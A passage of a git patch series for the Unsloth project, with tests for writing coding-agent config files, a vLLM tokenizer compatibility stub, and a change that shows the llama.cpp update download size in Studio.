+        assert path.stat().st_mode & 0o777 == 0o600
+
+
+def test_write_openclaw_config_preserves_and_idempotent(tmp_path, monkeypatch):
+    path = tmp_path / "openclaw.json"
+    monkeypatch.setattr(connect, "openclaw_config_path", lambda: path)
+    path.write_text(
+        json.dumps(
+            {
+                "theme": "dark",
+                "agents": {"defaults": {"temperature": 0.5}},
+                "models": {"mode": "replace", "providers": {"openrouter": {"baseUrl": "x"}}},
+            }
+        )
+    )
+    connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL)
+    config = json.loads(path.read_text())
+    assert config["theme"] == "dark"
+    assert config["agents"]["defaults"]["temperature"] == 0.5  # other agent defaults kept
+    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
+    assert config["models"]["mode"] == "replace"  # user's mode is left as-is
+    assert config["models"]["providers"]["openrouter"]["baseUrl"] == "x"
+    assert config["models"]["providers"]["unsloth"]["baseUrl"] == f"{BASE}/v1"
+    before = path.read_text()
+    connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL)
+    assert path.read_text() == before
+
+
+def test_write_openclaw_config_corrupt_left_alone(tmp_path, monkeypatch, capsys):
+    path = tmp_path / "openclaw.json"
+    monkeypatch.setattr(connect, "openclaw_config_path", lambda: path)
+    path.write_text("{not json")
+    connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL)
+    assert path.read_text() == "{not json"
+    assert "couldn't parse" in capsys.readouterr().err
+
+
+def test_connect_openclaw_no_launch(fake_studio, tmp_path, monkeypatch):
+    path = tmp_path / "openclaw.json"
+    monkeypatch.setattr(connect, "openclaw_config_path", lambda: path)
+    result = CliRunner().invoke(connect.connect_app, ["openclaw", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "openclaw" in result.output
+    assert "export" not in result.output  # key lives in the config, not the env
+    config = json.loads(path.read_text())
+    assert config["models"]["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface"
+    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
+    # OpenAI /v1/chat/completions works on either backend — no GGUF gate.
+    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
+
+
+# ── OpenCode (OpenAI /v1/chat/completions) ───────────────────────────
+
+
+def test_write_opencode_config_fresh(tmp_path, monkeypatch):
+    path = tmp_path / "opencode.json"
+    monkeypatch.setattr(connect, "opencode_config_path", lambda: path)
+    connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL)
+    config = json.loads(path.read_text())
+    provider = config["provider"]["unsloth"]
+    assert provider["npm"] == "@ai-sdk/openai-compatible"
+    assert provider["options"] == {"baseURL": f"{BASE}/v1", "apiKey": "sk-unsloth-abc"}
+    assert provider["models"] == {MODEL["id"]: {"name": MODEL["id"]}}
+    assert config["model"] == f"unsloth/{MODEL['id']}"
+
+
+def test_write_opencode_config_preserves_and_idempotent(tmp_path, monkeypatch):
+    path = tmp_path / "opencode.json"
+    monkeypatch.setattr(connect, "opencode_config_path", lambda: path)
+    path.write_text(
+        json.dumps({"theme": "tokyonight", "provider": {"anthropic": {"name": "Anthropic"}}})
+    )
+    connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL)
+    config = json.loads(path.read_text())
+    assert config["theme"] == "tokyonight"
+    assert config["provider"]["anthropic"]["name"] == "Anthropic"
+    assert config["provider"]["unsloth"]["options"]["baseURL"] == f"{BASE}/v1"
+    before = path.read_text()
+    connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL)
+    assert path.read_text() == before
+
+
+def test_connect_opencode_no_launch(fake_studio, tmp_path, monkeypatch):
+    path = tmp_path / "opencode.json"
+    monkeypatch.setattr(connect, "opencode_config_path", lambda: path)
+    result = CliRunner().invoke(connect.connect_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "opencode" in result.output
+    config = json.loads(path.read_text())
+    assert config["provider"]["unsloth"]["options"]["apiKey"] == "sk-unsloth-feedfacefeedface"
+    assert config["model"] == f"unsloth/{MODEL['id']}"
+    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
+
+
+# ── Hermes (OpenAI /v1/chat/completions, key via env) ────────────────
+
+
+@pytest.fixture()
+def hermes_config(tmp_path, monkeypatch):
+    path = tmp_path / "config.yaml"
+    monkeypatch.setattr(connect, "hermes_config_path", lambda: path)
+    return path
+
+
+def test_write_hermes_config_fresh(hermes_config):
+    yaml = pytest.importorskip("yaml")
+    connect.write_hermes_config(BASE, MODEL)
+    config = yaml.safe_load(hermes_config.read_text())
+    # Hermes only honors the key for a *named* custom provider, so the endpoint
+    # is registered under providers.* and model.provider points at it.
+    assert config["model"]["provider"] == "custom:unsloth"
+    assert config["model"]["default"] == MODEL["id"]
+    assert config["model"]["api_mode"] == "openai"
+    provider = config["providers"]["unsloth"]
+    assert provider["base_url"] == f"{BASE}/v1"
+    assert provider["api_mode"] == "openai"
+    assert provider["key_env"] == "UNSLOTH_API_KEY"
+    # The key is resolved from the launch env, never written to disk.
+    assert "sk-unsloth" not in hermes_config.read_text()
+
+
+def test_write_hermes_config_preserves_and_idempotent(hermes_config):
+    yaml = pytest.importorskip("yaml")
+    hermes_config.write_text(
+        yaml.safe_dump(
+            {
+                "terminal": {"backend": "local"},
+                "model": {"temperature": 0.7},
+                "providers": {"openrouter": {"base_url": "https://openrouter.ai/api/v1"}},
+            }
+        )
+    )
+    connect.write_hermes_config(BASE, MODEL)
+    config = yaml.safe_load(hermes_config.read_text())
+    assert config["terminal"] == {"backend": "local"}  # unrelated sections kept
+    assert config["model"]["temperature"] == 0.7  # unrelated model keys kept
+    assert config["model"]["provider"] == "custom:unsloth"
+    assert config["providers"]["openrouter"]["base_url"] == "https://openrouter.ai/api/v1"
+    assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1"
+    before = hermes_config.read_text()
+    connect.write_hermes_config(BASE, MODEL)
+    assert hermes_config.read_text() == before
+
+
+def test_write_hermes_config_preserves_non_mapping_file(hermes_config, capsys):
+    pytest.importorskip("yaml")
+    original = "- just\n- a\n- list\n"  # valid YAML, but not a mapping
+    hermes_config.write_text(original)
+    connect.write_hermes_config(BASE, MODEL)
+    assert hermes_config.read_text() == original  # user-managed file left untouched
+    assert "couldn't parse" in capsys.readouterr().err
+
+
+def test_connect_hermes_no_launch(fake_studio, hermes_config):
+    yaml = pytest.importorskip("yaml")
+    result = CliRunner().invoke(connect.connect_app, ["hermes", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "export UNSLOTH_API_KEY=sk-unsloth-feedfacefeedface" in result.output
+    assert "hermes" in result.output
+    config = yaml.safe_load(hermes_config.read_text())
+    assert config["model"]["provider"] == "custom:unsloth"
+    assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1"
+    assert config["model"]["default"] == MODEL["id"]
+    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)

From b0b27c938331dcdf377947dca914870ac955f438 Mon Sep 17 00:00:00 2001
From: Saicharan Ramineni <84414237+GodlyDonuts@users.noreply.github.com>
Date: Wed, 17 Jun 2026 20:25:41 -0400
Subject: [PATCH 49/91] Shim removed vllm.transformers_utils.tokenizer so
 fast_inference works on vLLM >= 0.22 (#6390)

* Shim removed vllm.transformers_utils.tokenizer for older unsloth-zoo

vLLM >= 0.22 (PR vllm-project/vllm#35024) deleted
`vllm.transformers_utils.tokenizer`. Older unsloth-zoo
patch_vllm_lora_tokenizer() does an unguarded
`import vllm.transformers_utils.tokenizer`, crashing fast_inference with
`No module named 'vllm.transformers_utils.tokenizer'`.

Add fix_vllm_lora_tokenizer_module(): a meta path finder appended after
the real finders that provides a no-op stub module only when vLLM no
longer ships it. Registered in _gpu_init.py before vLLM is imported, so
users who upgrade unsloth but keep an older unsloth-zoo are protected.

Refs unslothai/unsloth#6385

* Shorten comments in fix_vllm_lora_tokenizer_module

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 unsloth/_gpu_init.py    |  3 ++
 unsloth/import_fixes.py | 69 +++++++++++++++++++++++++++++++++++++++++
 2 files changed, 72 insertions(+)

diff --git a/unsloth/_gpu_init.py b/unsloth/_gpu_init.py
index 7998d62191..917717e08e 100644
--- a/unsloth/_gpu_init.py
+++ b/unsloth/_gpu_init.py
@@ -169,6 +169,7 @@ from unsloth_zoo.device_type import (
 from .import_fixes import (
     fix_xformers_performance_issue,
     fix_vllm_aimv2_issue,
+    fix_vllm_lora_tokenizer_module,
     check_vllm_torch_sm100_compatibility,
     fix_vllm_guided_decoding_params,
     fix_vllm_pdl_blackwell,
@@ -195,6 +196,7 @@ from .import_fixes import (
 
 fix_xformers_performance_issue()
 fix_vllm_aimv2_issue()
+fix_vllm_lora_tokenizer_module()
 # Check vLLM + torch < 2.9.0 + SM100 compatibility BEFORE importing vLLM
 check_vllm_torch_sm100_compatibility()
 fix_vllm_guided_decoding_params()
@@ -224,6 +226,7 @@ patch_accelerate_recursively_apply()
 
 del fix_xformers_performance_issue
 del fix_vllm_aimv2_issue
+del fix_vllm_lora_tokenizer_module
 del check_vllm_torch_sm100_compatibility
 del fix_vllm_guided_decoding_params
 del fix_trl_vllm_ascend
diff --git a/unsloth/import_fixes.py b/unsloth/import_fixes.py
index 87003b5985..ffbc24362f 100644
--- a/unsloth/import_fixes.py
+++ b/unsloth/import_fixes.py
@@ -419,6 +419,75 @@ def fix_vllm_aimv2_issue():
             logger.info(f"Unsloth: Failed patching vLLM with error = {str(e)}")
 
 
+# vLLM >= 0.22 (PR #35024) deleted `vllm.transformers_utils.tokenizer`, but an
+# older unsloth_zoo still imports it unguarded and crashes (issue #6385). Supply
+# a stub via a meta path finder appended AFTER the real finders, so it only
+# activates when vLLM no longer ships the module.
+_VLLM_LORA_TOKENIZER_MODULE = "vllm.transformers_utils.tokenizer"
+_VLLM_TOKENIZER_STUB_SENTINEL = "__unsloth_vllm_tokenizer_stub__"
+
+
+def _unsloth_return_no_lora_tokenizer(*args, **kwargs):
+    # None -> vLLM uses the base tokenizer for LoRA (matches unsloth_zoo).
+    return None
+
+
+class _VllmLoraTokenizerStubLoader(importlib.abc.Loader):
+    __slots__ = ("module_name",)
+
+    def __init__(self, module_name):
+        self.module_name = module_name
+
+    def create_module(self, spec):
+        import types
+
+        module = types.ModuleType(self.module_name)
+        module.__file__ = f"<unsloth stub: {self.module_name}>"
+        module.__package__ = self.module_name.rpartition(".")[0]
+        setattr(module, _VLLM_TOKENIZER_STUB_SENTINEL, True)
+        module.get_lora_tokenizer = _unsloth_return_no_lora_tokenizer
+        module.get_lora_tokenizer_async = _unsloth_return_no_lora_tokenizer
+        return module
+
+    def exec_module(self, module):
+        return None
+
+
+class _VllmLoraTokenizerStubFinder(importlib.abc.MetaPathFinder):
+    __slots__ = (_VLLM_TOKENIZER_STUB_SENTINEL,)
+
+    def __init__(self):
+        setattr(self, _VLLM_TOKENIZER_STUB_SENTINEL, True)
+
+    def find_spec(
+        self,
+        fullname,
+        path = None,
+        target = None,
+    ):
+        if fullname != _VLLM_LORA_TOKENIZER_MODULE:
+            return None
+        return importlib.machinery.ModuleSpec(
+            name = fullname,
+            loader = _VllmLoraTokenizerStubLoader(fullname),
+            is_package = False,
+        )
+
+
+def fix_vllm_lora_tokenizer_module():
+    if importlib.util.find_spec("vllm") is None:
+        return
+    for finder in sys.meta_path:
+        if getattr(finder, _VLLM_TOKENIZER_STUB_SENTINEL, False):
+            return
+    # Appended, not inserted at 0, so a real module on older vLLM always wins.
+    sys.meta_path.append(_VllmLoraTokenizerStubFinder())
+    logger.info(
+        "Unsloth: Installed `vllm.transformers_utils.tokenizer` compatibility "
+        "stub for newer vLLM versions"
+    )
+
+
 def fix_vllm_guided_decoding_params():
     def _maybe_raise_vllm_transformers_mismatch(error):
         error_text = str(error)

From 6c02af8618b33d2f84a215cdd941bcb1b5759b16 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 17 Jun 2026 21:28:54 -0700
Subject: [PATCH 50/91] Studio: stop the llama.cpp update banner flickering and
 show the download size (#6338)

* Studio: stop the llama.cpp update banner flickering and show the download size

The banner animated in and out with a motion opacity + scale + translate
transition. That transform/opacity transition promotes a GPU compositing
layer whose first and last frame can flash for a moment on real displays,
which reads as a flicker on appear and again on dismiss/snooze. Drop the
animation and render the banner as a plain conditional mount: it appears
and leaves cleanly with nothing to flash.

Also surface the download size. update-status now reports the size of the
prebuilt that Update would fetch (the latest-release asset matching this
host's bundle), and the banner shows it as whole MB next to the no-restart
note, so the cost of the update is clear before clicking.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Show llama.cpp update size for upstream and source-build installs

update_download_size_bytes now accepts the upstream ggml-org ubuntu-/win-
asset suffixes and falls back to the marker's binary_repo, so the size
resolves for CPU/ROCm prebuilts (the fork publish repo only carries the
app-* and macOS bundles). The source-build update path now populates
update_size_bytes from the resolved asset, matching the marker path.

Both fail open to null. Adds regression tests for the upstream and
source-build size lookups and the route field round-trip.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/routes/llama.py                |   3 +
 .../backend/tests/test_llama_cpp_freshness.py | 111 +++++++++
 studio/backend/tests/test_llama_cpp_update.py |  46 ++++
 studio/backend/tests/test_llama_route.py      |  21 ++
 studio/backend/utils/llama_cpp_freshness.py   | 110 +++++++++
 studio/backend/utils/llama_cpp_update.py      |  30 +++
 .../src/components/llama-update-banner.tsx    | 218 +++++++++---------
 .../src/hooks/use-llama-update-check.ts       |   4 +
 8 files changed, 434 insertions(+), 109 deletions(-)

diff --git a/studio/backend/routes/llama.py b/studio/backend/routes/llama.py
index 3aae6f4209..5559cc0404 100644
--- a/studio/backend/routes/llama.py
+++ b/studio/backend/routes/llama.py
@@ -55,6 +55,9 @@ class LlamaUpdateStatusResponse(BaseModel):
     source_build: bool = Field(
         False, description = "True when there is no marker (source build) but a prebuilt is offered."
     )
+    update_size_bytes: Optional[int] = Field(
+        None, description = "Download size of the prebuilt Update would fetch, in bytes."
+    )
     job: LlamaUpdateJob = Field(default_factory = LlamaUpdateJob)
 
 
diff --git a/studio/backend/tests/test_llama_cpp_freshness.py b/studio/backend/tests/test_llama_cpp_freshness.py
index f90c4ba0e7..2a2e113585 100644
--- a/studio/backend/tests/test_llama_cpp_freshness.py
+++ b/studio/backend/tests/test_llama_cpp_freshness.py
@@ -520,3 +520,114 @@ def test_in_memory_only_reset_replays_stale_same_base_mix(monkeypatch, tmp_path)
     assert info["latest_tag"] == "b9596-mix-aaa"
     assert info["behind"] is True
     assert info["stale"] is True
+
+
+# update_download_size_bytes (banner download-size lookup).
+
+
+def _patch_assets(monkeypatch, mapping):
+    """Stub latest_release_assets with a per-repo {asset_name: size} lookup."""
+    monkeypatch.setattr(
+        fr,
+        "latest_release_assets",
+        lambda repo, *, force_refresh = False: mapping.get(repo),
+    )
+
+
+def test_update_size_unsloth_prebuilt_exact_match(monkeypatch):
+    # The unsloth fork's own bundle (app-<tag>-<platform>): the want= exact match
+    # on app-<latest>-<suffix> wins.
+    marker = {
+        "asset": "app-b9190-linux-x64-cuda13-newer.tar.gz",
+        "published_repo": "unslothai/llama.cpp",
+    }
+    _patch_assets(
+        monkeypatch,
+        {
+            "unslothai/llama.cpp": {
+                "app-b9300-linux-x64-cuda13-newer.tar.gz": 123_456_789,
+                "app-b9300-windows-x64-cuda13-newer.zip": 999,
+            }
+        },
+    )
+    assert fr.update_download_size_bytes(marker, "b9300", "unslothai/llama.cpp") == 123_456_789
+
+
+def test_update_size_macos_fork_asset_suffix_fallback(monkeypatch):
+    # macOS bundles use the upstream-style llama-<tag>-bin-macos-*, matched via the
+    # endswith fallback in the publish repo.
+    marker = {
+        "asset": "llama-b9190-bin-macos-arm64.tar.gz",
+        "published_repo": "unslothai/llama.cpp",
+    }
+    _patch_assets(
+        monkeypatch,
+        {"unslothai/llama.cpp": {"llama-b9300-bin-macos-arm64.tar.gz": 55_000_000}},
+    )
+    assert fr.update_download_size_bytes(marker, "b9300", "unslothai/llama.cpp") == 55_000_000
+
+
+def test_update_size_upstream_ubuntu_uses_binary_repo(monkeypatch):
+    # #6338 P2: ggml-org ubuntu-* prebuilt lives in binary_repo, not the fork
+    # publish repo. The size must still resolve.
+    marker = {
+        "asset": "llama-b9190-bin-ubuntu-x64.tar.gz",
+        "published_repo": "unslothai/llama.cpp",
+        "binary_repo": "ggml-org/llama.cpp",
+    }
+    _patch_assets(
+        monkeypatch,
+        {
+            "unslothai/llama.cpp": {"app-b9300-linux-x64-cuda13-newer.tar.gz": 1},
+            "ggml-org/llama.cpp": {
+                "llama-b9673-bin-ubuntu-x64.tar.gz": 42_000_000,
+                "llama-b9673-bin-ubuntu-vulkan-x64.tar.gz": 7,
+            },
+        },
+    )
+    assert fr.update_download_size_bytes(marker, "b9300", "unslothai/llama.cpp") == 42_000_000
+
+
+def test_update_size_upstream_windows_uses_binary_repo(monkeypatch):
+    # Regression (#6338 P2): the Windows upstream CPU prebuilt uses a win-* token.
+    marker = {
+        "asset": "llama-b9190-bin-win-cpu-x64.zip",
+        "published_repo": "unslothai/llama.cpp",
+        "binary_repo": "ggml-org/llama.cpp",
+    }
+    _patch_assets(
+        monkeypatch,
+        {"ggml-org/llama.cpp": {"llama-b9673-bin-win-cpu-x64.zip": 33_000_000}},
+    )
+    assert fr.update_download_size_bytes(marker, "b9300", "unslothai/llama.cpp") == 33_000_000
+
+
+def test_update_size_no_matching_asset_fails_open(monkeypatch):
+    # A ROCm version drift (installed 6.4 vs latest 7.2) leaves no suffix match;
+    # the helper fails open to None rather than guessing a wrong artifact.
+    marker = {
+        "asset": "llama-b9190-bin-ubuntu-rocm-6.4-x64.tar.gz",
+        "published_repo": "unslothai/llama.cpp",
+        "binary_repo": "ggml-org/llama.cpp",
+    }
+    _patch_assets(
+        monkeypatch,
+        {"ggml-org/llama.cpp": {"llama-b9673-bin-ubuntu-rocm-7.2-x64.tar.gz": 9}},
+    )
+    assert fr.update_download_size_bytes(marker, "b9300", "unslothai/llama.cpp") is None
+
+
+def test_update_size_missing_inputs_fail_open(monkeypatch):
+    _patch_assets(
+        monkeypatch,
+        {"unslothai/llama.cpp": {"app-b9300-linux-x64-cpu.tar.gz": 5}},
+    )
+    # No marker, no latest tag, or no asset string -> None (never raise).
+    assert fr.update_download_size_bytes(None, "b9300", "unslothai/llama.cpp") is None
+    assert (
+        fr.update_download_size_bytes(
+            {"asset": "app-b9190-linux-x64-cpu.tar.gz"}, None, "unslothai/llama.cpp"
+        )
+        is None
+    )
+    assert fr.update_download_size_bytes({"asset": None}, "b9300", "unslothai/llama.cpp") is None
diff --git a/studio/backend/tests/test_llama_cpp_update.py b/studio/backend/tests/test_llama_cpp_update.py
index c42c3e8a79..828d439e0a 100644
--- a/studio/backend/tests/test_llama_cpp_update.py
+++ b/studio/backend/tests/test_llama_cpp_update.py
@@ -901,3 +901,49 @@ def test_start_update_marked_refuses_when_not_behind(monkeypatch, tmp_path):
     res = upd.start_update()
     assert res["started"] is False
     assert res["reason"] == "up_to_date"
+
+
+def test_status_update_available_includes_size(monkeypatch, tmp_path):
+    # Marker (prebuilt) update path attaches the download size of the asset the
+    # banner would fetch.
+    binary = _write_install(tmp_path, "b9493", asset = "app-b9493-linux-x64-cuda13-newer.tar.gz")
+    monkeypatch.setattr(upd, "_find_binary", lambda: binary)
+    monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518")
+    monkeypatch.setattr(
+        freshness,
+        "latest_release_assets",
+        lambda repo, *, force_refresh = False: {
+            "app-b9518-linux-x64-cuda13-newer.tar.gz": 88_000_000
+        },
+    )
+    st = upd.get_update_status(force_refresh = True)
+    assert st["update_available"] is True
+    assert st["update_size_bytes"] == 88_000_000
+
+
+def test_status_source_build_includes_update_size(monkeypatch, tmp_path):
+    # #6338 P3: a source build offered a prebuilt must carry the asset size too.
+    binary = tmp_path / "llama.cpp" / "build" / "bin" / "llama-server"
+    binary.parent.mkdir(parents = True)
+    binary.write_text("stub")  # no marker -> source build
+    monkeypatch.setattr(upd, "_find_binary", lambda: str(binary))
+    _prebuilt(
+        monkeypatch,
+        repo = "unslothai/llama.cpp",
+        release_tag = "b9585",
+        asset = "app-b9585-linux-x64-cpu.tar.gz",
+    )
+    monkeypatch.setattr(upd, "_installed_build_number", lambda b: None)
+    monkeypatch.setattr(
+        upd,
+        "latest_release_assets",
+        lambda repo, *, force_refresh = False: (
+            {"app-b9585-linux-x64-cpu.tar.gz": 77_000_000}
+            if repo == "unslothai/llama.cpp"
+            else None
+        ),
+    )
+    st = upd.get_update_status()
+    assert st["source_build"] is True
+    assert st["update_available"] is True
+    assert st["update_size_bytes"] == 77_000_000
diff --git a/studio/backend/tests/test_llama_route.py b/studio/backend/tests/test_llama_route.py
index bf0c4b731f..333f710b44 100644
--- a/studio/backend/tests/test_llama_route.py
+++ b/studio/backend/tests/test_llama_route.py
@@ -78,6 +78,27 @@ def test_status_response_exposes_source_build():
     rl.LlamaUpdateStatusResponse(**{**payload, "unexpected": 1})
 
 
+def test_status_response_exposes_update_size_bytes():
+    payload = {
+        "supported": True,
+        "update_available": True,
+        "stale": False,
+        "installed_tag": "b9493",
+        "latest_tag": "b9518",
+        "published_repo": "unslothai/llama.cpp",
+        "installed_at_utc": None,
+        "age_days": None,
+        "source_build": False,
+        "update_size_bytes": 123_456_789,
+        "job": {"state": "idle"},
+    }
+    model = rl.LlamaUpdateStatusResponse(**payload)
+    assert model.model_dump()["update_size_bytes"] == 123_456_789
+    # Omitted -> defaults to None (the offline / no-matching-asset case).
+    without = {k: v for k, v in payload.items() if k != "update_size_bytes"}
+    assert rl.LlamaUpdateStatusResponse(**without).model_dump()["update_size_bytes"] is None
+
+
 def test_status_handler_runs_off_event_loop(monkeypatch):
     seen = {}
 
diff --git a/studio/backend/utils/llama_cpp_freshness.py b/studio/backend/utils/llama_cpp_freshness.py
index 87d0d2ec01..7d077bfa3b 100644
--- a/studio/backend/utils/llama_cpp_freshness.py
+++ b/studio/backend/utils/llama_cpp_freshness.py
@@ -33,6 +33,8 @@ _INSTALL_MARKER_NAME = "UNSLOTH_PREBUILT_INFO.json"
 
 _marker_cache: dict[str, Optional[dict]] = {}
 _release_memo: dict[str, tuple[float, Optional[str]]] = {}
+# Newest-release asset sizes (name -> bytes), memoized like the tag (24h TTL).
+_assets_memo: dict[str, tuple[float, dict[str, int]]] = {}
 
 
 def _cache_dir() -> Path:
@@ -180,6 +182,113 @@ def latest_published_release(repo: str, *, force_refresh: bool = False) -> Optio
     return latest
 
 
+def _fetch_latest_release_assets(repo: str, timeout: float = 5.0) -> Optional[dict[str, int]]:
+    """Asset name -> size (bytes) for the newest published release of `repo`,
+    selected exactly like _fetch_latest_release_tag. None on any failure."""
+    import urllib.error
+    import urllib.request
+
+    url = f"https://api.github.com/repos/{repo}/releases?per_page=30"
+    headers = {
+        "Accept": "application/vnd.github+json",
+        "User-Agent": "unsloth-studio-freshness-check",
+    }
+    token = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
+    if token:
+        headers["Authorization"] = f"Bearer {token}"
+    req = urllib.request.Request(url, headers = headers)
+    try:
+        with urllib.request.urlopen(req, timeout = timeout) as resp:
+            data = json.loads(resp.read().decode("utf-8"))
+    except (
+        urllib.error.URLError,
+        urllib.error.HTTPError,
+        OSError,
+        json.JSONDecodeError,
+    ) as exc:
+        logger.debug("freshness asset fetch failed", repo = repo, error = str(exc))
+        return None
+    if not isinstance(data, list):
+        return None
+    published = [
+        r
+        for r in data
+        if isinstance(r, dict)
+        and not r.get("draft")
+        and not r.get("prerelease")
+        and isinstance(r.get("tag_name"), str)
+        and r.get("tag_name")
+    ]
+    if not published:
+        return None
+    newest = max(published, key = lambda r: r.get("published_at") or "")
+    assets: dict[str, int] = {}
+    for a in newest.get("assets") or []:
+        name, size = a.get("name"), a.get("size")
+        if isinstance(name, str) and isinstance(size, int):
+            assets[name] = size
+    return assets
+
+
+def latest_release_assets(repo: str, *, force_refresh: bool = False) -> Optional[dict[str, int]]:
+    """Newest-release asset sizes for `repo`, memoized (24h TTL). None when
+    offline and never fetched. In-memory only -- a restart simply re-fetches."""
+    if not repo:
+        return None
+    now = time.time()
+    if not force_refresh:
+        memo = _assets_memo.get(repo)
+        if memo and now - memo[0] < _RELEASE_CACHE_TTL_SECONDS:
+            return memo[1]
+    assets = _fetch_latest_release_assets(repo)
+    if assets is None:
+        memo = _assets_memo.get(repo)
+        return memo[1] if memo else None
+    _assets_memo[repo] = (now, assets)
+    return assets
+
+
+def update_download_size_bytes(
+    marker: Optional[dict],
+    latest_tag: Optional[str],
+    repo: Optional[str],
+    *,
+    force_refresh: bool = False,
+) -> Optional[int]:
+    """Download size of the latest-release asset matching this host's installed
+    bundle (same platform/arch/runtime suffix as the installed asset). None when
+    there is no marker asset, the latest assets can't be read, or no match."""
+    if not marker or not latest_tag or not repo:
+        return None
+    installed_asset = marker.get("asset")
+    if not isinstance(installed_asset, str):
+        return None
+    # Tag-independent platform suffix: accept the fork's "app-*" bundles and the
+    # upstream ggml-org "ubuntu-*"/"win-*" prebuilts ("windows" before "win").
+    m = re.search(r"-((?:linux|ubuntu|windows|win|macos|darwin)-.*)$", installed_asset)
+    if not m:
+        return None
+    suffix = m.group(1)
+    # Upstream ubuntu/win assets live in the marker's binary_repo, not the fork
+    # publish repo; try the publish repo first, then it.
+    repos = [repo]
+    binary_repo = marker.get("binary_repo")
+    if isinstance(binary_repo, str) and binary_repo and binary_repo != repo:
+        repos.append(binary_repo)
+    want = f"app-{latest_tag}-{suffix}"
+    for r in repos:
+        assets = latest_release_assets(r, force_refresh = force_refresh)
+        if not assets:
+            continue
+        if want in assets:
+            return assets[want]
+        # Tag formatting can vary (mix suffixes); fall back to the platform suffix.
+        for name, size in assets.items():
+            if name.endswith(suffix):
+                return size
+    return None
+
+
 def _parse_installed_at(value: object) -> Optional[datetime]:
     if not isinstance(value, str) or not value:
         return None
@@ -313,6 +422,7 @@ def reset_caches(*, drop_disk: bool = False) -> None:
     open (off) instead of pointing at the just-replaced build."""
     _marker_cache.clear()
     _release_memo.clear()
+    _assets_memo.clear()
     if drop_disk:
         import shutil
 
diff --git a/studio/backend/utils/llama_cpp_update.py b/studio/backend/utils/llama_cpp_update.py
index c2c6c67432..22ffc58b24 100644
--- a/studio/backend/utils/llama_cpp_update.py
+++ b/studio/backend/utils/llama_cpp_update.py
@@ -37,9 +37,11 @@ from utils.llama_cpp_freshness import (
     _INSTALL_MARKER_NAME,
     check_prebuilt_freshness,
     latest_published_release,
+    latest_release_assets,
     parse_base_build,
     read_install_marker,
     reset_caches,
+    update_download_size_bytes,
 )
 
 logger = structlog.get_logger(__name__)
@@ -291,6 +293,18 @@ def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]:
         update_available = False
     # Display the mix tag when that's what makes it newer; otherwise the base.
     latest = release_tag if latest_is_mix else base_tag
+    # Size of the resolved prebuilt, so source builds show it like the marker
+    # path. Fails open to None (offline / asset absent from the release).
+    update_size_bytes = None
+    if update_available:
+        asset_name = res.get("asset")
+        if isinstance(asset_name, str) and asset_name:
+            try:
+                assets = latest_release_assets(res.get("repo"), force_refresh = force_refresh)
+                if assets:
+                    update_size_bytes = assets.get(asset_name)
+            except Exception as exc:  # pragma: no cover - network defensive
+                logger.debug("llama update: source-build size lookup failed", error = str(exc))
     with _job_lock:
         job = dict(_job)
     return {
@@ -303,6 +317,7 @@ def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]:
         "installed_at_utc": None,
         "age_days": None,
         "source_build": True,
+        "update_size_bytes": update_size_bytes,
         "job": job,
     }
 
@@ -345,6 +360,20 @@ def get_update_status(*, force_refresh: bool = False) -> dict:
     # (see llama_cpp_freshness.is_behind).
     update_available = bool(freshness.get("has_marker") and freshness.get("behind"))
 
+    # Size of the prebuilt that Update would download, for the banner. Only when
+    # an update is offered; fails open to None (offline / no matching asset).
+    update_size_bytes = None
+    if update_available:
+        try:
+            update_size_bytes = update_download_size_bytes(
+                marker,
+                latest,
+                freshness.get("published_repo") or repo,
+                force_refresh = force_refresh,
+            )
+        except Exception as exc:  # pragma: no cover - network defensive
+            logger.debug("llama update: size lookup failed", error = str(exc))
+
     with _job_lock:
         job = dict(_job)
 
@@ -358,6 +387,7 @@ def get_update_status(*, force_refresh: bool = False) -> dict:
         "installed_at_utc": freshness.get("installed_at_utc"),
         "age_days": freshness.get("age_days"),
         "source_build": False,
+        "update_size_bytes": update_size_bytes,
         "job": job,
     }
 
diff --git a/studio/frontend/src/components/llama-update-banner.tsx b/studio/frontend/src/components/llama-update-banner.tsx
index 8c8fcc3646..0383d8a150 100644
--- a/studio/frontend/src/components/llama-update-banner.tsx
+++ b/studio/frontend/src/components/llama-update-banner.tsx
@@ -7,10 +7,7 @@ import { useShowLlamaUpdateBanner } from "@/hooks/use-llama-update-pref";
 import { toast } from "@/lib/toast";
 import { cn } from "@/lib/utils";
 import { Download } from "lucide-react";
-import { AnimatePresence, motion } from "motion/react";
 import { type ReactElement, useEffect, useRef, useState } from "react";
-
-const EASE_OUT_QUART: [number, number, number, number] = [0.165, 0.84, 0.44, 1];
 // Backend progress is coarse (5% steps, ~0.9 max) and the extract tail emits no
 // signal. Creep toward this cap so the bar keeps moving rather than freezing.
 const RUNNING_CAP = 0.95;
@@ -114,6 +111,12 @@ export function LlamaUpdateBanner({
 
   const show =
     visible && status != null && (status.update_available || applying);
